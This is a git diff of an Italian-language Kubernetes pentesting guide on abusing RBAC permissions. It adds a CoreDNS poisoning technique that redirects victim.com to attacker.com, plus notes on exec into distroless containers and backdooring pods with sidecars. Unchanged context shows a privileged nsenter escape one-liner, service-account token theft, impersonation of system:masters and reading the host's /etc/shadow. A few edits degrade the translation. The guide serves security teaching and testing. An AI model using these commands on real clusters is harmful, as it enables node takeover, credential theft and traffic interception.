diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 16768f07d..802452d07 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -17,7 +17,7 @@ Si riferisce all'arte di ottenere **accesso a un diverso principale** all'intern ### Access Any Resource or Verb (Wildcard) -Il **wildcard (\*) concede permesso su qualsiasi risorsa con qualsiasi verbo**. È usato dagli amministratori. All'interno di un ClusterRole questo significa che un attaccante potrebbe abusare di anynamespace nel cluster +Il **wildcard (\*) concede permessi su qualsiasi risorsa con qualsiasi verbo**. È usato dagli amministratori. All'interno di un ClusterRole questo significa che un attaccante potrebbe abusare di anynamespace nel cluster ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -33,7 +33,7 @@ verbs: ["*"] In RBAC, alcune autorizzazioni comportano rischi significativi: -1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escalation dei privilegi. +1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escursione dei privilegi. 2. **`list`:** Consente di elencare tutte le risorse, potenzialmente rivelando dati sensibili. 3. **`get`:** Permette di accedere ai segreti degli account di servizio, costituendo una minaccia per la sicurezza. ```yaml @@ -49,7 +49,7 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. Efficacemente elevando i privilegi. +Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. In effetti, aumentando i privilegi. Esempio di un pod che ruberà il token del Service Account `bootstrap-signer` e lo invierà all'attaccante: ```yaml @@ -72,13 +72,13 @@ serviceAccountName: bootstrap-signer automountServiceAccountToken: true hostNetwork: true ``` -### Creazione e fuga del Pod +### Creazione e Fuga del Pod Il seguente indica tutti i privilegi che un container può avere: - **Accesso privilegiato** (disabilitando le protezioni e impostando le capacità) - **Disabilitare i namespace hostIPC e hostPid** che possono aiutare ad elevare i privilegi -- **Disabilitare il namespace hostNetwork**, dando accesso per rubare i privilegi cloud dei nodi e un migliore accesso alle reti +- **Disabilitare il namespace hostNetwork**, dando accesso per rubare i privilegi cloud dei nodi e un accesso migliore alle reti - **Montare gli host / all'interno del container** ```yaml:super_privs.yaml apiVersion: v1 @@ -123,8 +123,6 @@ One-liner da [questo tweet](https://twitter.com/mauilion/status/1129468485480751 ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -Ora che puoi fuggire nel nodo, controlla le tecniche post-exploitation in: - #### Stealth Probabilmente vuoi essere **più furtivo**, nelle pagine seguenti puoi vedere a cosa potresti accedere se crei un pod abilitando solo alcuni dei privilegi menzionati nel template precedente: @@ -136,12 +134,12 @@ Probabilmente vuoi essere **più furtivo**, nelle pagine seguenti puoi vedere a - **hostNetwork** - **hostIPC** -_Puoi trovare esempi di come creare/abuse le configurazioni di pod privilegiati precedenti in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_Puoi trovare un esempio di come creare/abuse le configurazioni dei pod privilegiati precedenti in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) ### Pod Create - Move to cloud Se puoi **creare** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** assegnando **ruoli cloud a un pod o a un service account** e poi accedervi.\ -Inoltre, se puoi creare un **pod con il namespace di rete host**, puoi **rubare il ruolo IAM** dell'istanza **node**. +Inoltre, se puoi creare un **pod con il namespace di rete host** puoi **rubare il ruolo IAM** dell'istanza **node**. Per ulteriori informazioni controlla: @@ -197,10 +195,15 @@ Pertanto, è possibile **entrare in un pod e rubare il token del SA**, o entrare ```bash kubectl exec -it -n -- sh ``` +> [!NOTE] +> Per impostazione predefinita, il comando viene eseguito nel primo container del pod. Ottieni **tutti i pod in un container** con `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` e poi **indica il container** in cui vuoi eseguirlo con `kubectl exec -it -c -- sh` + +Se si tratta di un container distroless, puoi provare a utilizzare **shell builtins** per ottenere informazioni sui container o caricare i tuoi strumenti come un **busybox** usando: **`kubectl cp :`**. + ### port-forward -Questo permesso consente di **inoltrare una porta locale a una porta nel pod specificato**. Questo è pensato per poter eseguire il debug delle applicazioni in esecuzione all'interno di un pod facilmente, ma un attaccante potrebbe abusarne per ottenere accesso a applicazioni interessanti (come DB) o vulnerabili (web?) all'interno di un pod: -``` +Questa autorizzazione consente di **inoltrare una porta locale a una porta nel pod specificato**. Questo è pensato per poter eseguire il debug delle applicazioni in esecuzione all'interno di un pod facilmente, ma un attaccante potrebbe abusarne per accedere a applicazioni interessanti (come DB) o vulnerabili (web?) all'interno di un pod: +```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape @@ -211,7 +214,7 @@ Il servizio Kubelet espone l'endpoint `/logs/` che è fondamentalmente **l'espos Pertanto, un attaccante con **accesso in scrittura nella cartella /var/log/** del container potrebbe abusare di questo comportamento in 2 modi: -- Modificando il file `0.log` del proprio container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) per essere un **symlink che punta a `/etc/shadow`** per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo: +- Modificando il file `0.log` del suo container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) per essere un **symlink che punta a `/etc/shadow`** per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -247,7 +250,7 @@ allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Che era destinato a prevenire le fughe come quelle precedenti, utilizzando invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell'host nel contenitore con accesso in scrittura: +Che doveva prevenire le fughe come quelle precedenti utilizzando, invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell'host nel contenitore con accesso in scrittura: ```yaml apiVersion: v1 kind: PersistentVolume @@ -295,9 +298,9 @@ name: task-pv-storage-vol ``` ### **Impersonare account privilegiati** -Con un privilegio di [**impersonificazione utente**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un attaccante potrebbe impersonare un account privilegiato. +Con un privilegio di [**impersonificazione dell'utente**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un attaccante potrebbe impersonare un account privilegiato. -Basta usare il parametro `--as=` nel comando `kubectl` per impersonare un utente, o `--as-group=` per impersonare un gruppo: +Basta utilizzare il parametro `--as=` nel comando `kubectl` per impersonare un utente, o `--as-group=` per impersonare un gruppo: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters @@ -377,7 +380,7 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Nota che se ti è permesso creare e leggere segreti in un certo namespace, il serviceaccount della vittima deve trovarsi nello stesso namespace. +Nota che se ti è permesso creare e leggere segreti in un certo namespace, il serviceaccount della vittima deve trovarsi anche in quel namespace. ### Lettura di un segreto – forzatura dei token ID @@ -433,7 +436,7 @@ Il modo per bypassare questo è semplicemente **creare una credenziale del nodo ``` ### AWS EKS aws-auth configmaps -I principi che possono modificare **`configmaps`** nello spazio dei nomi kube-system su cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il **configmap** **aws-auth**.\ +I principali che possono modificare **`configmaps`** nello spazio dei nomi kube-system su cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il **configmap** **aws-auth**.\ I verbi necessari sono **`update`** e **`patch`**, o **`create`** se il configmap non è stato creato: ```bash # Check if config map exists @@ -474,18 +477,58 @@ groups: - system:masters ``` > [!WARNING] -> Puoi usare **`aws-auth`** per **persistenza** dando accesso a utenti di **altri account**. +> Puoi usare **`aws-auth`** per la **persistenza** dando accesso a utenti di **altri account**. > > Tuttavia, `aws --profile other_account eks update-kubeconfig --name ` **non funziona da un account diverso**. Ma in realtà `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funziona se metti l'ARN del cluster invece del solo nome.\ > Per far funzionare `kubectl`, assicurati di **configurare** il **kubeconfig della vittima** e negli argomenti di esecuzione di aws aggiungi `--profile other_account_role` in modo che kubectl utilizzi il profilo dell'altro account per ottenere il token e contattare AWS. -### Escalating in GKE +### CoreDNS config map + +Se hai i permessi per modificare il **`coredns` configmap** nel namespace `kube-system`, puoi modificare gli indirizzi a cui i domini verranno risolti per poter eseguire attacchi MitM per **rubare informazioni sensibili o iniettare contenuti malevoli**. + +I verbi necessari sono **`update`** e **`patch`** sul **`coredns`** configmap (o su tutte le config maps). + +Un normale **file coredns** contiene qualcosa di simile: +```yaml +data: +Corefile: | +.:53 { +log +errors +health { +lameduck 5s +} +ready +kubernetes cluster.local in-addr.arpa ip6.arpa { +pods insecure +fallthrough in-addr.arpa ip6.arpa +ttl 30 +} +prometheus :9153 +hosts { +192.168.49.1 host.minikube.internal +fallthrough +} +forward . /etc/resolv.conf { +max_concurrent 1000 +} +cache 30 +loop +reload +loadbalance +} +``` +Un attaccante potrebbe scaricarlo eseguendo `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo aggiungendo qualcosa come `rewrite name victim.com attacker.com` in modo che ogni volta che si accede a `victim.com`, in realtà si accede al dominio `attacker.com`. E poi applicarlo eseguendo `kubectl apply -f poison_dns.yaml`. + +Un'altra opzione è semplicemente modificare il file eseguendo `kubectl edit configmap coredns -n kube-system` e apportando modifiche. + +### Escalation in GKE Ci sono **2 modi per assegnare permessi K8s ai principi GCP**. In ogni caso, il principio ha anche bisogno del permesso **`container.clusters.get`** per poter raccogliere le credenziali per accedere al cluster, oppure dovrai **generare il tuo file di configurazione kubectl** (segui il link successivo). > [!WARNING] > Quando si parla con l'endpoint API K8s, il **token di autenticazione GCP verrà inviato**. Poi, GCP, attraverso l'endpoint API K8s, controllerà prima **se il principio** (per email) **ha accesso all'interno del cluster**, poi controllerà se ha **accesso tramite GCP IAM**.\ -> Se **qualcuna** di queste è **vera**, riceverà una **risposta**. Se **no**, verrà fornito un **errore** che suggerisce di dare **permessi tramite GCP IAM**. +> Se **qualcuno** di questi è **vero**, riceverà una **risposta**. Se **no**, verrà fornito un **errore** che suggerisce di dare **permessi tramite GCP IAM**. Quindi, il primo metodo è utilizzare **GCP IAM**, i permessi K8s hanno i loro **permessi equivalenti GCP IAM**, e se il principio li ha, potrà usarli. @@ -495,28 +538,28 @@ Quindi, il primo metodo è utilizzare **GCP IAM**, i permessi K8s hanno i loro * Il secondo metodo è **assegnare permessi K8s all'interno del cluster** identificando l'utente tramite la sua **email** (inclusi gli account di servizio GCP). -### Create serviceaccounts token +### Creare token serviceaccounts -Principi che possono **creare TokenRequests** (`serviceaccounts/token`) Quando si parla con l'endpoint API K8s SAs (info da [**qui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +Principi che possono **creare TokenRequests** (`serviceaccounts/token`) quando si parla con l'endpoint API K8s SAs (info da [**qui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -Principi che possono **`update`** o **`patch`** **`pods/ephemeralcontainers`** possono ottenere **esecuzione di codice su altri pod**, e potenzialmente **uscire** al loro nodo aggiungendo un container effimero con un securityContext privilegiato. +I principi che possono **`update`** o **`patch`** **`pods/ephemeralcontainers`** possono ottenere **esecuzione di codice su altri pod**, e potenzialmente **uscire** al loro nodo aggiungendo un contenitore effimero con un securityContext privilegiato. ### ValidatingWebhookConfigurations o MutatingWebhookConfigurations -Principi con uno dei verbi `create`, `update` o `patch` su `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` potrebbero essere in grado di **creare una di queste webhookconfigurations** per poter **escalare i privilegi**. +I principi con uno dei verbi `create`, `update` o `patch` su `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` potrebbero essere in grado di **creare una di queste webhookconfigurations** per poter **escalare i privilegi**. Per un [`mutatingwebhookconfigurations` esempio controlla questa sezione di questo post](#malicious-admission-controller). ### Escalate -Come puoi leggere nella sezione successiva: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. Tranne se ha il **verbo `escalate`** su **`roles`** o **`clusterroles`**.\ +Come puoi leggere nella sezione successiva: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. A meno che non abbia il **verbo `escalate` o `*`** su **`roles`** o **`clusterroles`** e le rispettive opzioni di binding.\ Allora può aggiornare/creare nuovi ruoli, clusterroles con permessi migliori di quelli che ha. ### Nodes proxy -Principi con accesso alla **`nodes/proxy`** subrisorsa possono **eseguire codice su pod** tramite l'API Kubelet (secondo [**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Maggiori informazioni sull'autenticazione Kubelet in questa pagina: +I principi con accesso alla **`nodes/proxy`** subrisorsa possono **eseguire codice su pod** tramite l'API Kubelet (secondo [**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Maggiori informazioni sull'autenticazione Kubelet in questa pagina: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -524,9 +567,9 @@ Principi con accesso alla **`nodes/proxy`** subrisorsa possono **eseguire codice Hai un esempio di come ottenere [**RCE parlando autorizzato a un'API Kubelet qui**](../pentesting-kubernetes-services/index.html#kubelet-rce). -### Delete pods + unschedulable nodes +### Eliminare pod + nodi non pianificabili -Principi che possono **eliminare pod** (`delete` verbo su `pods` risorsa), o **espellere pod** (`create` verbo su `pods/eviction` risorsa), o **cambiare lo stato del pod** (accesso a `pods/status`) e possono **rendere altri nodi non programmabili** (accesso a `nodes/status`) o **eliminare nodi** (`delete` verbo su `nodes` risorsa) e hanno controllo su un pod, potrebbero **rubare pod da altri nodi** in modo che siano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod. +I principi che possono **eliminare pod** (`delete` verb su `pods` resource), o **evictare pod** (`create` verb su `pods/eviction` resource), o **cambiare lo stato del pod** (accesso a `pods/status`) e possono **rendere altri nodi non pianificabili** (accesso a `nodes/status`) o **eliminare nodi** (`delete` verb su `nodes` resource) e hanno il controllo su un pod, potrebbero **rubare pod da altri nodi** in modo che vengano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -539,7 +582,7 @@ kubectl delete pods -n kube-system ``` ### Stato dei servizi (CVE-2020-8554) -I principi che possono **modificare** **`services/status`** possono impostare il campo `status.loadBalancer.ingress.ip` per sfruttare il **CVE-2020-8554 non corretto** e lanciare **attacchi MiTM contro il cluster**. La maggior parte delle mitigazioni per CVE-2020-8554 previene solo i servizi ExternalIP (secondo [**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +I principi che possono **modificare** **`services/status`** possono impostare il campo `status.loadBalancer.ingress.ip` per sfruttare il **CVE-2020-8554 non corretto** e lanciare **attacchi MiTM contro il cluster**. La maggior parte delle mitigazioni per il CVE-2020-8554 previene solo i servizi ExternalIP (secondo [**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). ### Stato dei nodi e dei pod @@ -549,9 +592,9 @@ I principi con permessi **`update`** o **`patch`** su `nodes/status` o `pods/sta Kubernetes ha un [meccanismo integrato](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) per prevenire l'escalation dei privilegi. -Questo sistema garantisce che **gli utenti non possano elevare i propri privilegi modificando ruoli o binding di ruolo**. L'applicazione di questa regola avviene a livello API, fornendo una protezione anche quando l'autorizzatore RBAC è inattivo. +Questo sistema garantisce che **gli utenti non possano elevare i propri privilegi modificando ruoli o binding di ruoli**. L'applicazione di questa regola avviene a livello API, fornendo una protezione anche quando l'autorizzatore RBAC è inattivo. -La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se possiede tutti i permessi che il ruolo comprende**. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi con quello del ruolo che stanno tentando di creare o modificare: sia a livello cluster-wide per i ClusterRoles o confinato allo stesso namespace (o cluster-wide) per i Roles. +La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se possiede tutti i permessi di cui il ruolo è composto**. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi a quello del ruolo che sta tentando di creare o modificare: o a livello cluster-wide per i ClusterRoles o confinato allo stesso namespace (o cluster-wide) per i Roles. > [!WARNING] > C'è un'eccezione a questa regola precedente. Se un principio ha il **verbo `escalate`** su **`roles`** o **`clusterroles`**, può aumentare i privilegi di ruoli e clusterroles anche senza avere i permessi lui stesso. @@ -567,57 +610,31 @@ Il privilegio di creare Rolebindings consente a un utente di **associare ruoli a ### App proxy Sidecar -Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, pod a pod. +Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, da pod a pod. -#### Crea un'app proxy Sidecar +#### Crea un'app proxy Sidecar -Crea il tuo .yaml -```bash -kubectl run app --image=bash --command -oyaml --dry-run=client > -- sh -c 'ping google.com' -``` -Modifica il tuo .yaml e aggiungi le righe non commentate: +Un contenitore sidecar consiste semplicemente nell'aggiungere un **secondo (o più) contenitore all'interno di un pod**. + +Ad esempio, quanto segue è parte della configurazione di un pod con 2 contenitori: ```yaml -#apiVersion: v1 -#kind: Pod -#metadata: -# name: security-context-demo -#spec: -# securityContext: -# runAsUser: 1000 -# runAsGroup: 3000 -# fsGroup: 2000 -# volumes: -# - name: sec-ctx-vol -# emptyDir: {} -# containers: -# - name: sec-ctx-demo -# image: busybox -command: -[ -"sh", -"-c", -"apt update && apt install iptables -y && iptables -L && sleep 1h", -] -securityContext: -capabilities: -add: ["NET_ADMIN"] -# volumeMounts: -# - name: sec-ctx-vol -# mountPath: /data/demo -# securityContext: -# allowPrivilegeEscalation: true +spec: +containers: +- name: main-application +image: nginx +- name: sidecar-container +image: busybox +command: ["sh","-c",""] ``` -Vedi i log del proxy: -```bash -kubectl logs app -C proxy -``` -More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +Ad esempio, per inserire un backdoor in un pod esistente con un nuovo container, potresti semplicemente aggiungere un nuovo container nella specifica. Nota che potresti **dare più permessi** al secondo container che il primo non avrà. + +Maggiore informazione su: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) ### Malicious Admission Controller Un admission controller **intercetta le richieste al server API di Kubernetes** prima della persistenza dell'oggetto, ma **dopo che la richiesta è stata autenticata** **e autorizzata**. -Se un attaccante riesce in qualche modo a **iniettare un Mutationg Admission Controller**, sarà in grado di **modificare richieste già autenticate**. Essere in grado di potenzialmente privesc, e più comunemente persistere nel cluster. +Se un attaccante riesce in qualche modo a **iniettare un Mutation Admission Controller**, sarà in grado di **modificare richieste già autenticate**. Essere in grado di potenzialmente privesc, e più comunemente persistere nel cluster. **Esempio da** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -647,7 +664,7 @@ kubectl describe po nginx | grep "Image: " Come puoi vedere nell'immagine sopra, abbiamo provato a eseguire l'immagine `nginx`, ma l'immagine finale eseguita è `rewanthtammana/malicious-image`. Cosa è appena successo!!? -#### Technicalities +#### Tecnicalità Lo script `./deploy.sh` stabilisce un controller di ammissione webhook mutante, che modifica le richieste all'API di Kubernetes come specificato nelle sue righe di configurazione, influenzando i risultati osservati: ``` @@ -672,7 +689,7 @@ Il frammento sopra sostituisce la prima immagine del container in ogni pod con ` - **Pods e Account di Servizio**: Per impostazione predefinita, i pod montano un token di account di servizio. Per migliorare la sicurezza, Kubernetes consente di disabilitare questa funzionalità di automount. - **Come Applicare**: Imposta `automountServiceAccountToken: false` nella configurazione degli account di servizio o dei pod a partire dalla versione 1.6 di Kubernetes. -### **Assegnazione Utente Ristretto in RoleBindings/ClusterRoleBindings** +### **Assegnazione Ristretta degli Utenti in RoleBindings/ClusterRoleBindings** - **Inclusione Selettiva**: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi utenti irrilevanti per mantenere una sicurezza rigorosa. @@ -699,5 +716,7 @@ https://github.com/aquasecurity/kube-bench - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) +- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) +- [**https://kubenomicon.com/**](https://kubenomicon.com/) {{#include ../../../banners/hacktricks-training.md}}